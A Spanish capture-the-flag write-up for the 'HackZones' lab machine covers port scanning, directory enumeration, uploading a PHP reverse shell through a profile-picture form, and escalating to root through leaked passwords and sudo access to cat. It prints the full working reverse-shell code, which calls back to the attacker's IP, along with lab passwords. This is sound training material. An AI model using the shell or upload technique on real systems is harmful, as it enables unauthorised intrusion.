> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/hackzones-write-up.md).

# HackZones write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/8sKh6OjEC1ANi1I0NaNl" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/VNsSaL5xm11KF4rGYViz" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que los puertos 22 (SSH), 53 (DNS) y 80 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima en el navegador y observamos lo siguiente:

<figure><img src="/files/pXe6f3petdNQaTfhONkQ" alt=""><figcaption></figcaption></figure>

Así que vamos a añadir una entrada en el archivo `/etc/hosts` para que el dominio `HackZones.hl` apunte a la dirección IP `172.17.0.2`. Esto permitirá que, al escribir `HackZones.hl` en el navegador o al hacer peticiones, el sistema lo resuelva directamente como `172.17.0.2`, sin necesidad de usar un servidor DNS.

<figure><img src="/files/g1YeSb83I3lDEmayiJa9" alt=""><figcaption></figcaption></figure>

Así que ahora si ingresamos la dirección `http://hackzones.hl/` en el navegador nos muestra lo siguiente:

<figure><img src="/files/txFrGUVfHhOSNgxp5vVB" alt=""><figcaption></figcaption></figure>

Pero como no conseguimos encontrar ninguna vulnerabilidad, vamos a enumerar las rutas ocultas con la herramienta llamada **gobuster** ejecutando el siguiente comando:

```bash
gobuster dir -u http://hackzones.hl/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x txt,html,php,py,bak
```

<figure><img src="/files/t8KznNwi60goH7uAzMJF" alt=""><figcaption></figcaption></figure>

Si ingresamos la ruta `http://hackzones.hl/dashboard.html` contemplamos lo siguiente:

<figure><img src="/files/QJXF0I4IRL7K6raA47Vh" alt=""><figcaption></figcaption></figure>

Ahora si hacemos clic en la foto de perfil observamos que nos deja subir un archivo, así que vamos a subir un archivo malicioso en PHP con el siguiente código, para que cuando se ejecute nos envie una shell interactiva. El código del archivo es el siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>           
```

Ahora después de subir el archivo, nos ponemos en escucha por el puerto configurado y nos vamos a la ruta `http://hackzones.hl/uploads/`.

<figure><img src="/files/rvE0yMCnui4epcpydhyf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZEwPwLx5d3I8iu3VRbsz" alt=""><figcaption></figcaption></figure>

Hacemos clic en `shell.php` para ejecutar el código malicioso.

<figure><img src="/files/pDC4fIyeEtoiCSy1phXC" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima, encontramos un archivo llamado `/var/www/html/supermegaultrasecretfolder/secret.sh`, el cual contiene lo siguiente:

<figure><img src="/files/vMLUZvb04TNhS197EMyc" alt=""><figcaption></figcaption></figure>

Vemos que el script imprime algo en hexadecimal si el que lo ejecuta es usuario root, al traducirlo vemos lo siguiente:

<figure><img src="/files/fygYx8B0wIjF5erwkNge" alt=""><figcaption></figcaption></figure>

Así que vamos a usar la contraseña `Password@$$!123` para iniciar sesión como el usuario `mrrobot`.

<figure><img src="/files/rHuXZmodoR7L83CCJ2Zu" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `mrrobot`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/cat` como cualquier usuario. Así que vamos a leer el archivo `/opt/SistemUpdate`.

<figure><img src="/files/ZaWv7cwOvFRaOGgRT0fM" alt=""><figcaption></figcaption></figure>

Esto nos indica que la contraseña del usuario root es `rooteable`.

<figure><img src="/files/zVIsI8kfy4vKCEuVVSAb" alt=""><figcaption></figcaption></figure>
